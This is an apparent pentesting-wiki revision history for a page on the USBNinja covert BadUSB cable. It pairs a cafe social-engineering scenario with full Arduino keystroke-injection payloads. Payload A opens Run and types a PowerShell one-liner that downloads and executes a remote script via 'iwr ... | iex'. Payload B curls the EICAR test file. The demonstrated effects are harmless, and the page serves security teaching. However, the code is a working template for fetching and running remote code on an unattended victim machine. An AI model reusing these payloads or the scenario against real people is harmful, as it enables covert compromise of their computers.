USB Ninja: Exploit example - Revision history

NKirnbauer: NKirnbauer moved page USB Ninja – Exploit example to USB Ninja: Exploit example

2024-10-18T11:28:34Z

NKirnbauer moved page USB Ninja – Exploit example to USB Ninja: Exploit example

← Older revision	Revision as of 11:28, 18 October 2024
(No difference)

NKirnbauer: gendering

2024-10-07T17:25:07Z

gendering

← Older revision		Revision as of 17:25, 7 October 2024
Line 8:		Line 8:
	== Potential Scenario ==		== Potential Scenario ==

	The attacker goes to a cafe and asks someone there with a computer to charge ~~his~~ cell phone on ~~his~~ computer.		The attacker goes to a cafe and asks someone there with a computer to charge their cell phone on their computer.
	The attacker can now engage the victim in a conversation in order to execute the malicious code unnoticed through the remote connection. And the attack is completed in a few seconds.		The attacker can now engage the victim in a conversation in order to execute the malicious code unnoticed through the remote connection. And the attack is completed in a few seconds.

NKirnbauer: fixed links

2024-10-03T09:52:38Z

fixed links

← Older revision		Revision as of 09:52, 3 October 2024
Line 80:		Line 80:

	Once you press button A, the following happens:		Once you press button A, the following happens:
	* Executing PowerShell to execute pony.ps script remotely from https://www.lostserver.com/static/pony.ps		* Executing PowerShell to execute pony.ps script remotely from [https://www.lostserver.com/static/pony.ps https://www.lostserver.com/static/pony.ps]
	* The PowerShell script pony.ps downloads pony.jpg image from https://www.lostserver.com/static/pony.jpg then store it in a temp file.		* The PowerShell script pony.ps downloads pony.jpg image from [https://www.lostserver.com/static/pony.jpg https://www.lostserver.com/static/pony.jpg ] then store it in a temp file.
	* Then change the background to the pony.jpg picture.		* Then change the background to the pony.jpg picture.

NKirnbauer: fixed links

2024-10-03T09:48:48Z

fixed links

← Older revision		Revision as of 09:48, 3 October 2024
Line 80:		Line 80:

	Once you press button A, the following happens:		Once you press button A, the following happens:
	* Executing PowerShell to execute pony.ps script remotely from 'https://www.lostserver.com/static/pony.ps'		* Executing PowerShell to execute pony.ps script remotely from https://www.lostserver.com/static/pony.ps
	* The PowerShell script pony.ps downloads pony.jpg image from 'https://www.lostserver.com/static/pony.jpg' then store it in a temp file.		* The PowerShell script pony.ps downloads pony.jpg image from https://www.lostserver.com/static/pony.jpg then store it in a temp file.
	* Then change the background to the pony.jpg picture.		* Then change the background to the pony.jpg picture.

Ikramer at 17:55, 12 March 2024

2024-03-12T17:55:06Z

← Older revision		Revision as of 17:55, 12 March 2024
Line 151:		Line 151:
	* https://github.com/KINGSABRI/USBNinjaPayloads/tree/master/NinjaKeyboard/ChangeBgrndRunMalware		* https://github.com/KINGSABRI/USBNinjaPayloads/tree/master/NinjaKeyboard/ChangeBgrndRunMalware
	* https://www.youtube.com/watch?v=L90VGpqBa7M		* https://www.youtube.com/watch?v=L90VGpqBa7M



			[[Category:Documentation]]

			[[Category:Pentesting]]

EPelanovic at 13:23, 28 June 2022

2022-06-28T13:23:08Z

← Older revision		Revision as of 13:23, 28 June 2022
Line 24:		Line 24:
	When the program has been checked for syntax errors in the Arduino IDE and is ready to be uploaded, we need to put the cable into programming mode. To activate the programming mode, the supplied magnet must be held against the rear end of the connector (USB Type A). Only then can the connection to the computer be established. When pressing the compile button in the Arduino IDE, a message appears that the upload is in progress:		When the program has been checked for syntax errors in the Arduino IDE and is ready to be uploaded, we need to put the cable into programming mode. To activate the programming mode, the supplied magnet must be held against the rear end of the connector (USB Type A). Only then can the connection to the computer be established. When pressing the compile button in the Arduino IDE, a message appears that the upload is in progress:

	[[File:Arduino IDE message 1.png\|~~400px~~\|thumb\|~~center~~\|]]		[[File:Arduino IDE message 1.png\|500px\|thumb\|none\|]]

	When plugging in the cable with the magnet holding, we should see the upload:		When plugging in the cable with the magnet holding, we should see the upload:

	[[File:Arduino IDE message 2.png\|~~400px~~\|thumb\|~~center~~\|]]		[[File:Arduino IDE message 2.png\|500px\|thumb\|none\|]]

	''' Important information: '''		''' Important information: '''
Line 39:		Line 39:

	''' Code (Arduino IDE): '''		''' Code (Arduino IDE): '''
			<pre>

	#define LAYOUT_GERMAN		#define LAYOUT_GERMAN
Line 67:		Line 68:
	NinjaKeyboard.begin();		NinjaKeyboard.begin();
	}		}
			</pre>

	''' Description '''		''' Description '''
Line 99:		Line 101:

	''' Code (Arduino IDE): '''		''' Code (Arduino IDE): '''

			<pre>

	void payloadB() {		void payloadB() {
Line 118:		Line 122:
	NinjaKeyboard.begin();		NinjaKeyboard.begin();
	}		}

			</pre>

	''' Description '''		''' Description '''

EPelanovic: Created page with "USB Ninja Set == Summary == The USBNinja cable is a product that combines BadUSB capability with Bluetooth in one cable. The components are installed so skillfully that no additional functions can be seen or noted on the cable. It can be controlled with a smartphone via Bluetooth and carry out BadUSB attacks. A detailed Wiki-Elvis documentation for installation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja..."

2022-06-28T11:38:00Z

Created page with "500px|thumb|right|USB Ninja Set == Summary == The USBNinja cable is a product that combines BadUSB capability with Bluetooth in one cable. The components are installed so skillfully that no additional functions can be seen or noted on the cable. It can be controlled with a smartphone via Bluetooth and carry out BadUSB attacks. A detailed Wiki-Elvis documentation for installation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja..."

New page

[[File:USBNinja.png|500px|thumb|right|USB Ninja Set]]

== Summary ==

The USBNinja cable is a product that combines BadUSB capability with Bluetooth in one cable. The components are installed so skillfully that no additional functions can be seen or noted on the cable. It can be controlled with a smartphone via Bluetooth and carry out BadUSB attacks.
A detailed Wiki-Elvis documentation for installation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja here].

== Potential Scenario ==

The attacker goes to a cafe and asks someone there with a computer to charge his cell phone on his computer.
The attacker can now engage the victim in a conversation in order to execute the malicious code unnoticed through the remote connection. And the attack is completed in a few seconds.

== Requirements ==

* Arduino IDE + Drivers
* Bluetooth-Device
** Android Application
** Remote Bluetooth shield

== Description ==

We will not deal with the Remote Bluetooth shield here. Instead of this we take a simple Android smartphone and install it. A more detailed documentation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja here].

When the program has been checked for syntax errors in the Arduino IDE and is ready to be uploaded, we need to put the cable into programming mode. To activate the programming mode, the supplied magnet must be held against the rear end of the connector (USB Type A). Only then can the connection to the computer be established. When pressing the compile button in the Arduino IDE, a message appears that the upload is in progress:

[[File:Arduino IDE message 1.png|400px|thumb|center|]]

When plugging in the cable with the magnet holding, we should see the upload:

[[File:Arduino IDE message 2.png|400px|thumb|center|]]

''' Important information: '''
In my case it was important that no other USB device was plugged into the computer, because the USBNinja cable is otherwise not recognized.

After that, the cable can be connected to the target host (without magnets). Depending on the programming, the code is triggered immediately after connection or when the remote connection button is pressed.

=== Exploit A (Change Background) ===

''' Code (Arduino IDE): '''

#define LAYOUT_GERMAN
#include <NinjaKeyboard.h>

void setup() {
SetRunOnce(PAYLOADA,true);
SetRunOnce(PAYLOADB,true);
}

void loop() {}

void payloadA() {

USBninjaOnline();

NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.println(F("powershell \" [System.Net.ServicePointManager]::SecurityProtocol = 3072 -bor 768 -bor 192 -bor 48; iwr https://www.lostserver.com/static/pony.ps -UseBasicParsing | iex\""));
NinjaKeyboard.end();

USBninjaOffline();

NinjaKeyboard.begin();
}

''' Description '''

When executing payload, background on the victim host will change and the image we downloaded is set.

You can watch the video of using this script:
https://www.youtube.com/watch?v=L90VGpqBa7M

''' PayloadA: '''

Once you press button A, the following happens:
* Executing PowerShell to execute pony.ps script remotely from 'https://www.lostserver.com/static/pony.ps'
* The PowerShell script pony.ps downloads pony.jpg image from 'https://www.lostserver.com/static/pony.jpg' then store it in a temp file.
* Then change the background to the pony.jpg picture.

''' Execution (on Android Device): '''

Again, you can find detailed instructions of the installation at the above mentioned link.

[[File:Connecting_to_USBNinja.png|400px|thumb|none|Connecting to USBNinja via Android Device]]

We can then select which payload we want to execute:

[[File:Execute_Payload_USBNinja.png|400px|thumb|none|Execute Payload via Android Device]]

''' Important information: '''
Don’t forget to allow the application on the smartphone to use your current location. Without, it will not find your Ninja-cable.

=== Exploit B (MaliciousTestFile) ===

''' Code (Arduino IDE): '''

void payloadB() {

USBninjaOnline();

NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.println(F("cmd.exe /C curl https://www.eicar.org/download-anti-malware-testfile/eicar.com -O eicar.com"));
NinjaKeyboard.delay(100);
NinjaKeyboard.end();

USBninjaOffline();

NinjaKeyboard.begin();
}

''' Description '''

The program code places an Eicar file on the host. An EICAR Standard Anti-Malware Test file is a special 'dummy' file which is used to test the correct operation of malware detection scanners. When an EICAR test file is downloaded or scanned, ideally the scanner will detect it exactly as if it were a malicious program.

The program code was adapted a little by me. The "curl" command is used here to download the Eicar file. "-O" tells us the output.

''' PayloadB: '''

Once you press button B, the following happens:

* Executing “curl” command to download the malicious test file
* The malicious file is going to be saved in the path where the shell was opened.

Execution was shown in example above.

''' More examples: '''
* You can find some examples in the Arduino IDE under File – Examples – Examples for USBNinja
* https://github.com/KINGSABRI/USBNinjaPayloads - which I used
* There are a lot of Github repositories with Code-Examples

== References ==

* https://usbninja.com/
* https://scheible.it/usbninja-kabel/
* https://github.com/KINGSABRI/USBNinjaPayloads/tree/master/NinjaKeyboard/ChangeBgrndRunMalware
* https://www.youtube.com/watch?v=L90VGpqBa7M